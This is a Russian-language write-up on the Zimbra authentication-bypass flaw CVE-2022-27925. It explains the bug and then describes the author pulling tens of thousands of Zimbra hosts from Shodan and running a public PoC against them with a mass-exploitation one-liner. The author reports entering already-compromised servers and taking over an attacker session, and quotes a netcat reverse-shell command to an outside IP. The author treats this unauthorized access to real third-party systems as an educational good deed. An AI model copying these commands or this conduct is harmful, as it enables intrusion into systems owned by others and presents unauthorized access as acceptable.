
CVE-2022-27925
Следующее исследование началось с попытки понять PoC из нескольких репозиториев на GitHub, которые поделили многие исследователи, и закончилось интересным сюрпризом, которым я поделюсь в следующих абзацах. 10 августа текущего года группа исследователей безопасности Volexity опубликовала в своём Twitter обнаружение массовой эксплуатации пакета ZCS (Zimbra Collaboration Server), которая позволяет обойти аутентификацию, и что около 1000 экземпляров Zimbra были скомпрометированы по всему миру.
В исследовании, представленном коллегами из Volexity, были показаны некоторые из просмотренных логов:
[attacker_ip] - - [30/Jun/2022:05:33:18 +0000] "POST [snipped]/service/extension/backup/mboximport?account-name=admin&ow=1&no-switch=true HTTP/1.0" 401 299 "[snipped]" "Mozilla/5.0 (X11; Linux x86_64; rv:101.0) Gecko/20100101 Firefox/101.0" 7
Точно так же они объяснили, что ошибка кода была связана с функцией doPost:

Проблема с этим кодом в том, что проверяется аутентификация и устанавливается сообщение об ошибке, но нет оператора возврата. Это означает, что последующий код будет продолжать выполняться независимо от состояния аутентификации пользователя. Проследив функцию дальше, злоумышленнику нужно только установить правильные параметры в URL, чтобы использовать уязвимость.
Как только мы поняли возможные причины и уже появились некоторые PoC, мы приступили к эксплуатации шаг за шагом, но сначала мы исследуем состояние с помощью инструмента greynoise:

Мы видим, что даже спустя больше месяца после публикации CVE-2022-27925 атаки продолжаются.
В Shodan мы можем наблюдать около 45 223 установок Zimbra:

shodan download --limit -1 zimbra.json.gz http.favicon.hash:"1624375939"

Разбираем результаты:
shodan parse --fields ip_str,port --separator , zimbra.json.gz > zimbra.txt

Давайте немного проверим данные и отформатируем их для автоматизации тестов:
Парсим данные, чтобы можно было использовать онлайн:

Используем httpx в docker:

Скачиваем PoC из GitHub:
git clone https://github.com/vnhacker1337/CVE-2022-27925-PoC

Пробуем однострочник с PoC. Важно отметить, что мы должны переместить распарсенный файл в каталог PoC или вызывать его по абсолютному пути. Также можно использовать дамп shodan:
cat zimbra.json | jq -r '.hostnames[]' | docker run -i projectdiscovery/httpx -silent | xargs -I@ sh -c 'python3 zimbra-exploit.py @ 313.zip' | egrep -v '404|401|405|200'

Во время этого теста многие цели уже оказались пропатчены.
Наконец, мы получили результат:


После эксплуатации уязвимости мы наблюдаем файлы, являющиеся скриптами APT для эксфильтрации информации и подготовки шантажа:

Вредоносный файл gift:

Файл резервного копирования и эксфильтрации:
Один из найденных путей содержал множество веб-шеллов:
/opt/zimbra/jetty_base/webapps/zimbraAdmin/

Анализ выполняемых процессов показал, что устанавливались cron-задания для упаковки писем:

Примечание: следующее было выполнено в образовательных целях и как доброе дело.
После обнаружения загрузки netcat мы приступили к захвату сессии злоумышленников. Наблюдается использование netcat: ./nc 52.90.92.82 443 -e /bin/bash
Уязвимость, публично раскрытая более 30 дней назад, всё ещё актуальна на момент написания этой статьи. Следует отметить, что уведомления пострадавшим были отправлены безуспешно, поскольку уязвимость остаётся активной.